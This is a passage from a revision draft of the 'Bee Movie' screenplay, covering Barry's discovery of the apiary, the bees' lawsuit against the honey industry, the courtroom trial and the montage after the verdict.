meet a lot of girls. MOOSEBLOOD Mosquito girls try to trade up; get with a moth, dragonfly...mosquito girl don’t want no mosquito. A BLOOD MOBILE pulls up alongside. MOOSEBLOOD (CONT'D) Whoa, you have got to be kidding me. Mooseblood’s about to leave the building. So long bee. "Bee Movie" - JS REVISIONS 8/13/07 59. Mooseblood EXITS the horn, and jumps onto the blood mobile. MOOSEBLOOD (CONT'D) Hey guys. I knew I’d catch you all down here. Did you bring your crazy straws? CUT TO: SEQ. 1900 - “THE APIARY” EXT. APIARY - LATER Barry sees a SIGN, “Honey Farms” The truck comes to a stop. SFX: The Honey farms truck blares its horn. Barry flies out, lands on the hood. ANGLE ON: Two BEEKEEPERS, FREDDY and ELMO, walking around to the back of the gift shop. Barry follows them, and lands in a nearby tree FREDDY ...then we throw it in some jars, slap a label on it, and it’s pretty much pure profit. BARRY What is this place? ELMO Bees got a brain the size of a pinhead. FREDDY They are pinheads. The both LAUGH. ANGLE ON: Barry REACTING. They arrive at the back of the shop where one of them opens a SMOKER BOX. FREDDY (CONT’D) Hey, check out the new smoker. "Bee Movie" - JS REVISIONS 8/13/07 60. ELMO Oh, Sweet. That’s the one you want. FREDDY The Thomas 3000. BARRY Smoker? FREDDY 90 puffs a minute, semi-automatic. Twice the nicotine, all the tar. They LAUGH again, nefariously. FREDDY (CONT’D) Couple of breaths of this, and it knocks them right out. They make the honey, and we make the money. BARRY “They make the honey, and we make the money?” Barry climbs onto the netting of Freddy’s hat. He climbs up to the brim and looks over the edge. He sees the apiary boxes as Freddy SMOKES them. BARRY (CONT'D) Oh my. As Freddy turns around, Barry jumps into an open apiary box, and into an apartment. HOWARD and FRAN are just coming to from the smoking. BARRY (CONT’D) What’s going on? Are you okay? HOWARD Yeah, it doesn’t last too long. HE COUGHS a few times. BARRY How did you two get here? Do you know you’re in a fake hive with fake walls? HOWARD (pointing to a picture on the wall) "Bee Movie" - JS REVISIONS 8/13/07 61. Our queen was moved here, we had no choice. BARRY (looking at a picture on the wall) This is your queen? That’s a man in women’s clothes. That’s a dragqueen! The other wall opens. Barry sees the hundreds of apiary boxes. BARRY (CONT'D) What is this? Barry pulls out his camera, and starts snapping. BARRY (CONT’D) Oh no. There’s hundreds of them. (V.O, as Barry takes pictures) Bee honey, our honey, is being brazenly stolen on a massive scale. CUT TO: SEQ. 2100 - “BARRY TELLS FAMILY” INT. BARRY’S PARENT’S HOUSE - LIVING ROOM - LATER Barry has assembled his parents, Adam, and Uncle Carl. BARRY This is worse than anything the bears have done to us. And I intend to do something about it. JANET BENSON Oh Barry, stop. MARTIN BENSON Who told you that humans are taking our honey? That’s just a rumor. BARRY Do these look like rumors? Barry throws the PICTURES on the table. Uncle Carl, cleaning his glasses with his shirt tail, digs through a bowl of nuts with his finger. "Bee Movie" - JS REVISIONS 8/13/07 62. HOWARD (CONT'D) UNCLE CARL That’s a conspiracy theory. These are obviously doctored photos. JANET BENSON Barry, how did you get mixed up in all this? ADAM (jumping up) Because he’s been talking to humans! JANET BENSON Whaaat? MARTIN BENSON Talking to humans?! Oh Barry. ADAM He has a human girlfriend and they make out! JANET BENSON Make out? Barry? BARRY We do not. ADAM You wish you could. BARRY Who’s side are you on? ADAM The bees! Uncle Carl stands up and pulls his pants up to his chest. UNCLE CARL I dated a cricket once in San Antonio. Man, those crazy legs kept me up all night. Hotcheewah! JANET BENSON Barry, this is what you want to do with your life? BARRY This is what I want to do for all our lives. Nobody works harder than bees. "Bee Movie" - JS REVISIONS 8/13/07 63. Dad, I remember you coming home some nights so overworked, your hands were still stirring. You couldn’t stop them. MARTIN BENSON Ehhh... JANET BENSON (to Martin) I remember that. BARRY What right do they have to our hardearned honey? We’re living on two cups a year. They’re putting it in lip balm for no reason what-soever. MARTIN BENSON Even if it’s true, Barry, what could one bee do? BARRY I’m going to sting them where it really hurts. MARTIN BENSON In the face? BARRY No. MARTIN BENSON In the eye? That would really hurt. BARRY No. MARTIN BENSON Up the nose? That’s a killer. BARRY No. There’s only one place you can sting the humans. One place where it really matters. CUT TO: SEQ. 2300 - “HIVE AT 5 NEWS/BEE LARRY KING” "Bee Movie" - JS REVISIONS 8/13/07 64. BARRY (CONT'D) INT. NEWS STUDIO - DAY DRAMATIC NEWS MUSIC plays as the opening news sequence rolls. We see the “Hive at Five” logo, followed by shots of past news events: A BEE freeway chase, a BEE BEARD protest rally, and a BEAR pawing at the hive as the BEES flee in panic. BOB BUMBLE (V.O.) Hive at Five, the hive’s only full hour action news source... SHOTS of NEWSCASTERS flash up on screen. BOB BUMBLE (V.O.) (CONT'D) With Bob Bumble at the anchor desk... BOB has a big shock of anchorman hair, gray temples and overly white teeth. BOB BUMBLE (V.O.) (CONT'D) ...weather with Storm Stinger, sports with Buzz Larvi, and Jeanette Chung. JEANETTE is an Asian bee. BOB BUMBLE (CONT'D) Good evening, I’m Bob Bumble. JEANETTE CHUNG And I’m Jeanette Chung. BOB BUMBLE Our top story, a tri-county bee, Barry Benson... INSERT: Barry’s graduation picture. BOB BUMBLE (CONT'D) ...is saying he intends to sue the human race for stealing our honey, packaging it, and profiting from it illegally. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 65. INT. BEENN STUDIO - BEE LARRY KING LIVE BEE LARRY KING, wearing suspenders and glasses, is interviewing Barry. A LOWER-THIRD CHYRON reads: “Bee Larry King Live.” BEE LARRY KING Don’t forget, tomorrow night on Bee Larry King, we are going to have three former Queens all right here in our studio discussing their new book, “Classy Ladies,” out this week on Hexagon. (to Barry) Tonight, we’re talking to Barry Benson. Did you ever think, I’m just a kid from the hive, I can’t do this? BARRY Larry, bees have never been afraid to change the world. I mean, what about Bee-Columbus? Bee-Ghandi? Be-geesus? BEE LARRY KING Well, where I’m from you wouldn’t think of suing humans. We were thinking more like stick ball, candy stores. BARRY How old are you? BEE LARRY KING I want you to know that the entire bee community is supporting you in this case, which is certain to be the trial of the bee century. BARRY Thank you, Larry. You know, they have a Larry King in the human world, too. BEE LARRY KING It’s a common name. Next week on Bee Larry King... "Bee Movie" - JS REVISIONS 8/13/07 66. BARRY No, I mean he looks like you. And he has a show with suspenders and different colored dots behind him. BEE LARRY KING Next week on Bee Larry King... BARRY Old guy glasses, and there’s quotes along the bottom from the guest you’re watching even though you just heard them... BEE LARRY KING Bear week next week! They’re scary, they’re hairy, and they’re here live. Bee Larry King EXITS. BARRY Always leans forward, pointy shoulders, squinty eyes... (lights go out) Very Jewish. CUT TO: SEQ. 2400 - “FLOWER SHOP” INT. VANESSA’S FLOWER SHOP - NIGHT Stacks of law books are piled up, legal forms, etc. Vanessa is talking with Ken in the other room. KEN Look, in tennis, you attack at the point of weakness. VANESSA But it was my grandmother, Ken. She’s 81. KEN Honey, her backhand’s a joke. I’m not going to take advantage of that? "Bee Movie" - JS REVISIONS 8/13/07 67. BARRY (O.C) Quiet please. Actual work going on here. KEN Is that that same bee? BARRY (O.C) Yes it is. VANESSA I’m helping him sue the human race. KEN What? Barry ENTERS. BARRY Oh, hello. KEN Hello Bee. Barry flies over to Vanessa. VANESSA This is Ken. BARRY Yeah, I remember you. Timberland, size 10 1/2, Vibram sole I believe. KEN Why does he talk again, Hun? VANESSA (to Ken, sensing the tension) Listen, you’d better go because we’re really busy working. KEN But it’s our yogurt night. VANESSA (pushing him out the door) Oh...bye bye. She CLOSES the door. KEN Why is yogurt night so difficult?! "Bee Movie" - JS REVISIONS 8/13/07 68. Vanessa ENTERS the back room carrying coffee. VANESSA Oh you poor thing, you two have been at this for hours. BARRY Yes, and Adam here has been a huge help. ANGLE ON: A EMPTY CINNABON BOX with Adam asleep inside, covered in frosting. VANESSA How many sugars? BARRY Just one. I try not to use the competition. So, why are you helping me, anyway? VANESSA Bees have good qualities. BARRY (rowing on the sugar cube like a gondola) Si, Certo. VANESSA And it feels good to take my mind off the shop. I don’t know why, instead of flowers, people are giving balloon bouquets now. BARRY Yeah, those are great...if you’re 3. VANESSA And artificial flowers. BARRY (re: plastic flowers) Oh, they just get me psychotic! VANESSA Yeah, me too. BARRY The bent stingers, the pointless pollination. "Bee Movie" - JS REVISIONS 8/13/07 69. VANESSA Bees must hate those fake plastic things. BARRY There’s nothing worse than a daffodil that’s had work done. VANESSA (holding up the lawsuit documents) Well, maybe this can make up for it a little bit. CUT TO: EXT. VANESSA’S FLORIST SHOP They EXIT the store, and cross to the mailbox. VANESSA You know Barry, this lawsuit is a pretty big deal. BARRY I guess. VANESSA Are you sure that you want to go through with it? BARRY Am I sure? (kicking the envelope into the mailbox) When I’m done with the humans, they won’t be able to say, “Honey, I’m home,” without paying a royalty. CUT TO: SEQ. 2700 - “MEET MONTGOMERY” EXT. MANHATTAN COURTHOUSE - DAY P.O.V SHOT - A camera feed turns on, revealing a newsperson. "Bee Movie" - JS REVISIONS 8/13/07 70. PRESS PERSON #2 (talking to camera) Sarah, it’s an incredible scene here in downtown Manhattan where all eyes and ears of the world are anxiously waiting, because for the first time in history, we’re going to hear for ourselves if a honey bee can actually speak. ANGLE ON: Barry, Vanessa, and Adam getting out of the cab. The press spots Barry and Vanessa and pushes in. Adam sits on Vanessa’s shoulder. INT. COURTHOUSE - CONTINUOUS Barry, Vanessa, and Adam sit at the Plaintiff’s Table. VANESSA (turns to Barry) What have we gotten into here, Barry? BARRY I don’t know, but it’s pretty big, isn’t it? ADAM I can’t believe how many humans don’t have to be at work during the day. BARRY Hey, you think these billion dollar multinational food companies have good lawyers? CUT TO: EXT. COURTHOUSE STEPS - CONTINUOUS A BIG BLACK CAR pulls up. ANGLE ON: the grill filling the frame. We see the “L.T.M” monogram on the hood ornament. The defense lawyer, LAYTON T. MONTGOMERY comes out, squashing a bug on the pavement. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 71. INT. COURTHOUSE - CONTINUOUS Barry SHUDDERS. VANESSA What’s the matter? BARRY I don’t know. I just got a chill. Montgomery ENTERS. He walks by Barry’s table shaking a honey packet. MONTGOMERY Well, if it isn’t the B-Team. (re: the honey packet) Any of you boys work on this? He CHUCKLES. The JUDGE ENTERS. SEQ. 3000 - “WITNESSES” BAILIFF All rise! The Honorable Judge Bumbleton presiding. JUDGE (shuffling papers) Alright...Case number 4475, Superior Court of New York. Barry Bee Benson vs. the honey industry, is now in session. Mr. Montgomery, you are representing the five major food companies, collectively. ANGLE ON: Montgomery’s BRIEFCASE. It has an embossed emblem of an EAGLE, holding a gavel in one talon and a briefcase in the other. MONTGOMERY A privilege. JUDGE Mr. Benson. Barry STANDS. JUDGE (CONT’D) You are representing all bees of the world? "Bee Movie" - JS REVISIONS 8/13/07 72. Montgomery, the stenographer, and the jury lean in. CUT TO: EXT. COURTHOUSE - CONTINUOUS The spectators outside freeze. The helicopters angle forward to listen closely. CUT TO: INT. COURTHOUSE BARRY Bzzz bzzz bzzz...Ahh, I’m kidding, I’m kidding. Yes, your honor. We are ready to proceed. ANGLE ON: Courtroom hub-bub. JUDGE And Mr. Montgomery, your opening statement, please. Montgomery rises. MONTGOMERY (grumbles, clears his throat) Ladies and gentlemen of the jury. My grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we were to live in the topsy-turvy world Mr. Benson imagines, just think of what it would mean. Maybe I would have to negotiate with the silk worm for the elastic in my britches. Talking bee. How do we know this isn’t some sort of holographic motion picture capture Hollywood wizardry? They could be using laser beams, robotics, ventriloquism, cloning...for all we know he could be on steroids! Montgomery leers at Barry, who moves to the stand. "Bee Movie" - JS REVISIONS 8/13/07 73. JUDGE Mr. Benson? Barry makes his opening statement. BARRY Ladies and Gentlemen of the jury, there’s no trickery here. I’m just an ordinary bee. And as a bee, honey’s pretty important to me. It’s important to all bees. We invented it, we make it, and we protect it with our lives. Unfortunately, there are some people in this room who think they can take whatever they want from us cause we’re the little guys. And what I’m hoping is that after this is all over, you’ll see how by taking our honey, you’re not only taking away everything we have, but everything we are. ANGLE ON: Vanessa smiling. ANGLE ON: The BEE GALLERY wiping tears away. CUT TO: INT. BENSON HOUSE Barry’s family is watching the case on TV. JANET BENSON Oh, I wish he would dress like that all the time. So nice... CUT TO: INT. COURTROOM - LATER JUDGE Call your first witness. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 74. INT. COURTHOUSE - LATER BARRY So, Mr. Klauss Vanderhayden of Honey Farms. Pretty big company you have there? MR. VANDERHAYDEN I suppose so. BARRY And I see you also own HoneyBurton, and Hon-Ron. MR. VANDERHAYDEN Yes. They provide beekeepers for our farms. BARRY Beekeeper. I find that to be a very disturbing term, I have to say. I don’t imagine you employ any bee free-ers, do you? MR. VANDERHAYDEN No. BARRY I’m sorry. I couldn’t hear you. MR. VANDERHAYDEN (louder) No. BARRY No. Because you don’t free bees. You keep bees. And not only that, it seems you thought a bear would be an appropriate image for a jar of honey? MR. VANDERHAYDEN Well, they’re very lovable creatures. Yogi-bear, Fozzy-bear, Build-a-bear. BARRY Yeah, you mean like this?! Vanessa and the SUPERINTENDANT from her building ENTER with a GIANT FEROCIOUS GRIZZLY BEAR. He has a neck collar and chains extending from either side. "Bee Movie" - JS REVISIONS 8/13/07 75. By pulling the chains, they bring him directly in front of Vanderhayden. The bear LUNGES and ROARS. BARRY (CONT'D) Bears kill bees! How would you like his big hairy head crashing into your living room? Biting into your couch, spitting out your throwpillows...rowr, rowr! The bear REACTS. BEAR Rowr!! BARRY Okay, that’s enough. Take him away. Vanessa and the Superintendant pull the bear out of the courtroom. Vanderhayden TREMBLES. The judge GLARES at him. CUT TO: INT. COURTROOM- A LITTLE LATER Barry questions STING. BARRY So, Mr. Sting. Thank you for being here. Your name intrigues me, I have to say. Where have I heard it before? STING I was with a band called "The Police". BARRY But you've never been a police officer of any kind, have you? STING No, I haven't. "Bee Movie" - JS REVISIONS 8/13/07 76. BARRY No, you haven’t. And so, here we have yet another example of bee culture being casually stolen by a human for nothing more than a prance-about stage name. STING Oh please. BARRY Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say, (looking in folder) Mr. Gordon M. Sumner? The jury GASPS. MONTGOMERY (to his aides) That’s not his real name? You idiots! CUT TO: INT. COURTHOUSE- LATER BARRY Mr. Liotta, first may I offer my belated congratulations on your Emmy win for a guest spot on E.R. in 2005. LIOTTA Thank you. Thank you. Liotta LAUGHS MANIACALLY. BARRY I also see from your resume that you’re devilishly handsome, but with a churning inner turmoil that’s always ready to blow. LIOTTA I enjoy what I do. Is that a crime? "Bee Movie" - JS REVISIONS 8/13/07 77. BARRY Not yet it isn’t. But is this what it’s come to for you, Mr. Liotta? Exploiting tiny helpless bees so you don’t have to rehearse your part, and learn your lines, Sir? LIOTTA Watch it Benson, I could blow right now. BARRY This isn’t a goodfella. This is a badfella! LIOTTA (exploding, trying to smash Barry with the Emmy) Why doesn’t someone just step on this little creep and we can all go home? You’re all thinking it. Say it! JUDGE Order! Order in this courtroom! A MONTAGE OF NEWSPAPER HEADLINES FOLLOWS: NEW YORK POST: “Bees to Humans: Buzz Off”. NEW YORK TELEGRAM: “Sue Bee”. DAILY VARIETY: “Studio Dumps Liotta Project. Slams Door on Unlawful Entry 2.” CUT TO: SEQ. 3175 - “CANDLELIGHT DINNER” INT. VANESSA’S APARTMENT Barry and Vanessa are having a candle light dinner. Visible behind Barry is a “LITTLE MISSY” SET BOX, with the flaps open. BARRY Well, I just think that was awfully nice of that bear to pitch in like that. "Bee Movie" - JS REVISIONS 8/13/07 78. VANESSA I’m telling you, I think the jury’s on our side. BARRY Are we doing everything right...you know, legally? VANESSA I’m a florist. BARRY Right, right. Barry raises his glass. BARRY (CONT’D) Well, here’s to a great team. VANESSA To a great team. They toast. Ken ENTERS KEN Well hello. VANESSA Oh...Ken. BARRY Hello. VANESSA I didn’t think you were coming. KEN No, I was just late. I tried to call. But, (holding his cell phone) the battery... VANESSA I didn’t want all this to go to waste, so I called Barry. Luckily he was free. BARRY Yeah. KEN (gritting his teeth) Oh, that was lucky. "Bee Movie" - JS REVISIONS 8/13/07 79. VANESSA Well, there’s still a little left. I could heat it up. KEN Yeah, heat it up. Sure, whatever. Vanessa EXITS. Ken and Barry look at each other as Barry eats. BARRY So, I hear you’re quite a tennis player. I’m not much for the game myself. I find the ball a little grabby. KEN That’s where I usually sit. Right there. VANESSA (O.C) Ken, Barry was looking at your resume, and he agreed with me that “eating with chopsticks” isn’t really a special skill. KEN (to Barry) You think I don’t see what you’re doing? BARRY Hey look, I know how hard it is trying to find the right job. We certainly have that in common. KEN Do we? BARRY Well, bees have 100% employment, of course. But we do jobs like taking the crud out. KEN That’s just what I was thinking about doing. Ken holds his table knife up. It slips out of his hand. He goes under the table to pick it up. "Bee Movie" - JS REVISIONS 8/13/07 80. VANESSA Ken, I let Barry borrow your razor for his fuzz. I hope that was alright. Ken hits his head on the table. BARRY I’m going to go drain the old stinger. KEN Yeah, you do that. Barry EXITS to the bathroom, grabbing a small piece of a VARIETY MAGAZINE on the way. BARRY Oh, look at that. Ken slams the champagne down on the table. Ken closes his eyes and buries his face in his hands. He grabs a magazine on the way into the bathroom. SEQ. 2800 - “BARRY FIGHTS KEN” INT. BATHROOM - CONTINUOUS Ken ENTERS, closes the door behind him. He’s not happy. Barry is washing his hands. He glances back at Ken. KEN You know, I’ve just about had it with your little mind games. BARRY What’s that? KEN Italian Vogue. BARRY Mamma Mia, that’s a lot of pages. KEN It’s a lot of ads. BARRY Remember what Van said. Why is your life any more valuable than mine? "Bee Movie" - JS REVISIONS 8/13/07 81. KEN It’s funny, I just can’t seem to recall that! Ken WHACKS at Barry with the magazine. He misses and KNOCKS EVERYTHING OFF THE VANITY. Ken grabs a can of AIR FRESHENER. KEN (CONT'D) I think something stinks in here. He sprays at Barry. BARRY I love the smell of flowers. KEN Yeah? How do you like the smell of flames? Ken lights the stream. BARRY Not as much. Barry flies in a circle. Ken, trying to stay with him, spins in place. ANGLE ON: Flames outside the bathroom door. Ken slips on the Italian Vogue, falls backward into the shower, pulling down the shower curtain. The can hits him in the head, followed by the shower curtain rod, and the rubber duck. Ken reaches back, grabs the handheld shower head. He whips around, looking for Barry. ANGLE ON: A WATERBUG near the drain. WATERBUG Waterbug. Not taking sides. Barry is on the toilet tank. He comes out from behind a shampoo bottle, wearing a chapstick cap as a helmet. BARRY Ken, look at me! I’m wearing a chapstick hat. This is pathetic. ANGLE ON: Ken turning the hand shower nozzle from “GENTLE”, to “TURBO”, to “LETHAL”. "Bee Movie" - JS REVISIONS 8/13/07 82. KEN I’ve got issues! Ken fires the water at Barry, knocking him into the toilet. The items from the vanity (emory board, lipstick, eye curler, etc.) are on the toilet seat. Ken looks down at Barry. KEN (CONT'D) Well well well, a royal flush. BARRY You’re bluffing. KEN Am I? Ken flushes the toilet. Barry grabs the Emory board and uses it to surf. He puts his hand in the water while he’s surfing. Some water splashes on Ken. BARRY Surf’s up, dude! KEN Awww, poo water! He does some skate board-style half-pipe riding. Barry surfs out of the toilet. BARRY That bowl is gnarly. Ken tries to get a shot at him with the toilet brush. KEN Except for those dirty yellow rings. Vanessa ENTERS. VANESSA Kenneth! What are you doing? KEN You know what? I don’t even like honey! I don’t eat it! VANESSA We need to talk! "Bee Movie" - JS REVISIONS 8/13/07 83. She pulls Ken out by his ear. Ken glares at Barry. CUT TO: INT. HALLWAY - CONTINUOUS VANESSA He’s just a little bee. And he happens to be the nicest bee I’ve met in a long time. KEN Long time? What are you talking about? Are there other bugs in your life? VANESSA No, but there are other things bugging me in life. And you’re one of them! KEN Fine! Talking bees, no yogurt night...my nerves are fried from riding on this emotional rollercoaster. VANESSA Goodbye, Ken. KEN Augh! VANESSA Whew! Ken EXITS, then re-enters frame. KEN And for your information, I prefer sugar-free, artificial sweeteners, made by man! He EXITS again. The DOOR SLAMS behind him. VANESSA (to Barry) I’m sorry about all that. Ken RE-ENTERS. "Bee Movie" - JS REVISIONS 8/13/07 84. KEN I know it’s got an aftertaste! I like it! BARRY (re: Ken) I always felt there was some kind of barrier between Ken and me. (puts his hands in his pockets) I couldn’t overcome it. Oh well. VANESSA Are you going to be okay for the trial tomorrow? BARRY Oh, I believe Mr. Montgomery is about out of ideas. CUT TO: SEQ. 3300 - “ADAM STINGS MONTY” INT. COURTROOM - NEXT DAY ANGLE ON: Medium shot of Montgomery standing at his table. MONTGOMERY We would like to call Mr. Barry Benson Bee to the stand. ADAM (whispering to Vanessa) Now that’s a good idea. (to Barry) You can really see why he’s considered one of the very best lawyers-- Oh. Barry rolls his eyes. He gets up, takes the stand. A juror in a striped shirt APPLAUDS. MR. GAMMIL (whispering) Layton, you’ve got to weave some magic with this jury, or it’s going to be all over. Montgomery is holding a BOOK, “The Secret Life of Bees”. "Bee Movie" - JS REVISIONS 8/13/07 85. MONTGOMERY (confidently whispering) Oh, don’t worry Mr. Gammil. The only thing I have to do to turn this jury around is to remind them of what they don’t like about bees. (to Gammil) You got the tweezers? Mr. Gammil NODS, and pats his breast pocket. MR. GAMMIL Are you allergic? MONTGOMERY Only to losing, son. Only to losing. Montgomery approaches the stand. MONTGOMERY (CONT’D) Mr. Benson Bee. I’ll ask you what I think we’d all like to know. What exactly is your relationship to that woman? Montgomery points to Vanessa. BARRY We’re friends. MONTGOMERY Good friends? BARRY Yes. MONTGOMERY (softly in Barry’s face) How good? BARRY What? MONTGOMERY Do you live together? BARRY Wait a minute, this isn’t about-- "Bee Movie" - JS REVISIONS 8/13/07 86. MONTGOMERY Are you her little... (clearing throat) ... bed bug? BARRY (flustered) Hey, that’s not the kind of-- MONTGOMERY I’ve seen a bee documentary or two. Now, from what I understand, doesn’t your Queen give birth to all the bee children in the hive? BARRY Yeah, but-- MONTGOMERY So those aren’t even your real parents! ANGLE ON: Barry’s parents. MARTIN BENSON Oh, Barry. BARRY Yes they are! ADAM Hold me back! Vanessa holds him back with a COFFEE STIRRER. Montgomery points to Barry’s parents. MONTGOMERY You’re an illegitimate bee, aren’t you Benson? ADAM He’s denouncing bees! All the bees in the courtroom start to HUM. They’re agitated. MONTGOMERY And don’t y’all date your cousins? "Bee Movie" - JS REVISIONS 8/13/07 87. VANESSA (standing, letting go of Adam) Objection! Adam explodes from the table and flies towards Montgomery. ADAM I’m going to pin cushion this guy! Montgomery turns around and positions himself by the judge’s bench. He sticks his butt out. Montgomery winks at his team. BARRY Adam, don’t! It’s what he wants! Adam shoves Barry out of the way. Adam STINGS Montgomery in the butt. The jury REACTS, aghast. MONTGOMERY Ow! I’m hit! Oh, lordy, I am hit! The judge BANGS her gavel. JUDGE Order! Order! Please, Mr. Montgomery. MONTGOMERY The venom! The venom is coursing through my veins! I have been felled by a wing-ed beast of destruction. You see? You can’t treat them like equals. They’re strip-ed savages! Stinging’s the only thing they know! It’s their way! ANGLE ON: Adam, collapsed on the floor. Barry rushes to his side. BARRY Adam, stay with me. ADAM I can’t feel my legs. Montgomery falls on the Bailiff. BAILIFF Take it easy. "Bee Movie" - JS REVISIONS 8/13/07 88. MONTGOMERY Oh, what angel of mercy will come forward to suck the poison from my heaving buttocks? The JURY recoils. JUDGE Please, I will have order in this court. Order! Order, please! FADE TO: SEQ. 3400 - “ADAM AT HOSPITAL” INT. HOSPITAL - STREET LEVEL ROOM - DAY PRESS PERSON #1 (V.O) The case of the honey bees versus the human race took a pointed turn against the bees yesterday, when one of their legal team stung Layton T. Montgomery. Now here’s Don with the 5-day. A NURSE lets Barry into the room. Barry CARRIES a FLOWER. BARRY Thank you. Barry stands over Adam, in a bed. Barry lays the flower down next to him. The TV is on. BARRY (CONT'D) Hey buddy. ADAM Hey. BARRY Is there much pain? Adam has a BEE-SIZED PAINKILLER HONEY BUTTON near his head that he presses. ADAM (pressing the button) Yeah...I blew the whole case, didn’t I? "Bee Movie" - JS REVISIONS 8/13/07 89. BARRY Oh, it doesn’t matter. The important thing is you’re alive. You could have died. ADAM I’d be better off dead. Look at me. Adam THROWS the blanket off his lap, revealing a GREEN SANDWICH SWORD STINGER. ADAM (CONT’D) (voice cracking) They got it from the cafeteria, they got it from downstairs. In a tuna sandwich. Look, there’s a little celery still on it. BARRY What was it like to sting someone? ADAM I can’t explain it. It was all adrenaline...and then...ecstasy. Barry looks at Adam. BARRY Alright. ADAM You think that was all a trap? BARRY Of course. I’m sorry. I flew us right into this. What were we thinking? Look at us, we’re just a couple of bugs in this world. ADAM What do you think the humans will do to us if they win? BARRY I don’t know. ADAM I hear they put the roaches in motels. That doesn’t sound so bad. "Bee Movie" - JS REVISIONS 8/13/07 90. BARRY Adam, they check in, but they don’t check out. Adam GULPS. ADAM Oh my. ANGLE ON: the hospital window. We see THREE PEOPLE smoking outside on the sidewalk. The smoke drifts in. Adam COUGHS. ADAM (CONT’D) Say, could you get a nurse to close that window? BARRY Why? ADAM The smoke. Bees don’t smoke. BARRY Right. Bees don’t smoke. Bees don’t smoke! But some bees are smoking. Adam, that’s it! That’s our case. Adam starts putting his clothes on. ADAM It is? It’s not over? BARRY No. Get up. Get dressed. I’ve got to go somewhere. You get back the court and stall. Stall anyway you can. CUT TO: SEQ. 3500 - “SMOKING GUN” INT. COURTROOM - THE NEXT DAY Adam is folding a piece of paper into a boat. ADAM ...and assuming you’ve done step 29 correctly, you’re ready for the tub. "Bee Movie" - JS REVISIONS 8/13/07 91. ANGLE ON: The jury, all with paper boats of their own. JURORS Ooh. ANGLE ON: Montgomery frustrated with Gammil, who’s making a boat also. Monty crumples Gammil’s boat, and throws it at him. JUDGE Mr. Flayman? ADAM Yes? Yes, Your Honor? JUDGE Where is the rest of your team? ADAM (fumbling with his swordstinger) Well, your honor, it’s interesting. You know Bees are trained to fly kind of haphazardly and as a result quite often we don’t make very good time. I actually once heard a pretty funny story about a bee-- MONTGOMERY Your Honor, haven’t these ridiculous bugs taken up enough of this court’s valuable time? Montgomery rolls out from behind his table. He’s suspended in a LARGE BABY CHAIR with wheels. MONTGOMERY (CONT'D) How much longer are we going to allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients who have all run perfectly legitimate businesses. I move for a complete dismissal of this entire case. JUDGE Mr. Flayman, I am afraid I am going to have to consider Mr. Montgomery’s motion. "Bee Movie" - JS REVISIONS 8/13/07 92. ADAM But you can’t. We have a terrific case. MONTGOMERY Where is your proof? Where is the evidence? Show me the smoking gun. Barry bursts through the door. BARRY Hold it, your honor. You want a smoking gun? Here is your smoking gun. Vanessa ENTERS, holding a bee smoker Vanessa slams the beekeeper's SMOKER onto the judge’s bench. JUDGE What is that? BARRY It’s a Bee smoker. Montgomery GRABS the smoker. MONTGOMERY What, this? This harmless little contraption? This couldn’t hurt a fly, let alone a bee. He unintentionally points it towards the bee gallery, KNOCKING THEM ALL OUT. The jury GASPS. The press SNAPS pictures of them. BARRY Members of the jury, look at what has happened to bees who have never been asked, "Smoking or Non?" Is this what nature intended for us? To be forcibly addicted to these smoke machines in man-made wooden slat work camps? Living out our lives as honey slaves to the white man? Barry gestures dramatically towards Montgomery's racially mixed table. The BLACK LAWYER slowly moves his chair away. GAMMIL What are we going to do? "Bee Movie" - JS REVISIONS 8/13/07 93. MONTGOMERY (to Pross) He's playing the species card. Barry lands on the scale of justice, by the judge’s bench. It balances as he lands. BARRY Ladies and gentlemen, please, FreeThese-Bees! ANGLE ON: Jury, chanting "Free the bees". JUDGE The court finds in favor of the bees. The chaos continues. Barry flies over to Vanessa, with his hand up for a “high 5”. BARRY Vanessa, we won! VANESSA Yay! I knew you could do it. Highfive! She high 5’s Barry, sending him crashing to the table. He bounces right back up. VANESSA (CONT'D) Oh, sorry. BARRY Ow!! I’m okay. Vanessa, do you know what this means? All the honey is finally going to belong to the bees. Now we won’t have to work so hard all the time. Montgomery approaches Barry, surrounded by the press. The cameras and microphones go to Montgomery. MONTGOMERY (waving a finger) This is an unholy perversion of the balance of nature, Benson! You’ll regret this. ANGLE ON: Barry’s ‘deer in headlights’ expression, as the press pushes microphones in his face. "Bee Movie" - JS REVISIONS 8/13/07 94. PRESS PERSON 1 Barry, how much honey do you think is out there? BARRY Alright, alright, one at a time... SARAH Barry, who are you wearing? BARRY Uhhh, my sweater is Ralph Lauren, and I have no pants. The Press follows Barry as he EXITS. ANGLE ON: Adam and Vanessa. ADAM (putting papers away) What if Montgomery’s right? VANESSA What do you mean? ADAM We’ve been living the bee way a long time. 27 million years. DISSOLVE TO: SEQ. 3600 - “HONEY ROUNDUP” EXT. HONEY FARMS APIARY - MONTAGE SARAH (V.O) Congratulations on your victory. What are you going to demand as a settlement? BARRY (V.O) (over montage) First, we’re going to demand a complete shutdown of all bee work camps. Then, we want to get back all the honey that was ours to begin with. Every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, big-headed, bad breath, stink-machine. "Bee Movie" - JS REVISIONS 8/13/07 95. I believe we’re all aware of what they do in the woods. We will no longer tolerate derogatory beenegative nick-names, unnecessary inclusion of honey in bogus health products, and la-dee-da tea-time human snack garnishments. MONTAGE IMAGES: Close-up on an ATF JACKET, with the YELLOW LETTERS. Camera pulls back. We see an ARMY OF BEE AND HUMAN AGENTS wearing hastily made “Alcohol, Tobacco, Firearms, and Honey” jackets. Barry supervises. The gate to Honey Farms is locked permanently. All the smokers are collected and locked up. All the bees leave the Apiary. CUT TO: EXT. ATF OUTSIDE OF SUPERMARKET - MONTAGE Agents begin YANKING honey off the supermarket shelves, and out of shopping baskets. CUT TO: EXT. NEW HIVE CITY - MONTAGE The bees tear down a honey-bear statue. CUT TO: EXT. YELLOWSTONE FOREST - MONTAGE POV of a sniper’s crosshairs. An animated BEAR character looka-like, turns his head towards camera. BARRY Wait for my signal. ANGLE ON: Barry lowering his binoculars. BARRY (CONT'D) Take him out. The sniper SHOOTS the bear. It hits him in the shoulder. The bear looks at it. He gets woozy and the honey jar falls out of his lap, an ATF&H agent catches it. "Bee Movie" - JS REVISIONS 8/13/07 96. BARRY (V.O) (CONT'D) ATF&H 